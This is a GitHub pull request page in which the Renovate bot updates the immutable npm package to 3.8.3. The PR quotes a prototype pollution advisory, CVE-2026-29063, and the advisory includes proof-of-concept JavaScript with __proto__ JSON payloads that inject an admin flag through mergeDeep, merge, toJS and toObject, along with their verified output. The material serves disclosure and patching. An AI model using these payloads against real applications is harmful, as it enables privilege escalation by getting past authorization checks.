Skip to content

chore(deps): update dependency immutable to v3.8.3 [security] - autoclosed#4756

Closed
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-immutable-vulnerability
Closed

chore(deps): update dependency immutable to v3.8.3 [security] - autoclosed#4756
renovate[bot] wants to merge 1 commit intomasterfrom
renovate/npm-immutable-vulnerability

Conversation

@renovate
Copy link
Copy Markdown
Contributor

@renovate renovate bot commented Mar 5, 2026

This PR contains the following updates:

Package Change Age Confidence
immutable (source) 3.8.23.8.3 age confidence

GitHub Vulnerability Alerts

CVE-2026-29063

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

API Notes
mergeDeep(target, source) Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source) Same code path
merge(target, source) Shallow variant, same assignment logic
Map.toJS() object[k] = v in toObject() with no __proto__ guard
Map.toObject() Same toObject() implementation
Map.mergeDeep(source) When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major version patched version
3.x 3.8.3
4.x 4.3.7
5.x 5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against immutable@5.1.4:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?


Release Notes

immutable-js/immutable-js (immutable)

v3.8.3

Compare Source

Fix Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps bot commented Mar 5, 2026

Additional Comments (1)

catalog/app/utils/Store.jsx, line 14
The import of Iterable and the call to Iterable.isIterable() use the v3 API that was renamed in v4 to Collection and isCollection(). While immutable v4 retains these as backward-compatibility aliases, using the canonical v4 names will prevent issues if these aliases are removed in future major versions.

import { fromJS, isCollection } from 'immutable'

And update the usage on line 14:

const stateTransformer = (state) =>
  // pure JS is easier to read than Immutable objects
  isCollection(state) ? state.toJS() : state

@codecov
Copy link
Copy Markdown

codecov bot commented Mar 5, 2026

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 44.32%. Comparing base (e6344d3) to head (5538288).

Additional details and impacted files
@@           Coverage Diff           @@
##           master    #4756   +/-   ##
=======================================
  Coverage   44.32%   44.32%           
=======================================
  Files         813      813           
  Lines       32736    32736           
  Branches     5721     5721           
=======================================
  Hits        14511    14511           
  Misses      16224    16224           
  Partials     2001     2001           
Flag Coverage Δ
api-python 92.65% <ø> (ø)
catalog 19.52% <ø> (ø)
lambda 96.63% <ø> (ø)
py-shared 98.18% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

@renovate renovate bot force-pushed the renovate/npm-immutable-vulnerability branch 3 times, most recently from d607a3c to 411fef7 Compare March 6, 2026 22:42
@renovate renovate bot changed the title fix(deps): update dependency immutable to v4 [security] chore(deps): update dependency immutable to v3.8.3 [security] Mar 6, 2026
@renovate renovate bot force-pushed the renovate/npm-immutable-vulnerability branch 8 times, most recently from a791524 to f710463 Compare March 18, 2026 23:00
@renovate renovate bot force-pushed the renovate/npm-immutable-vulnerability branch 2 times, most recently from d8dbf2b to 2c344ec Compare March 23, 2026 13:35
@renovate renovate bot force-pushed the renovate/npm-immutable-vulnerability branch from 2c344ec to 5538288 Compare March 25, 2026 13:39
@renovate renovate bot changed the title chore(deps): update dependency immutable to v3.8.3 [security] chore(deps): update dependency immutable to v3.8.3 [security] - autoclosed Mar 27, 2026
@renovate renovate bot closed this Mar 27, 2026
@renovate renovate bot deleted the renovate/npm-immutable-vulnerability branch March 27, 2026 00:48
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants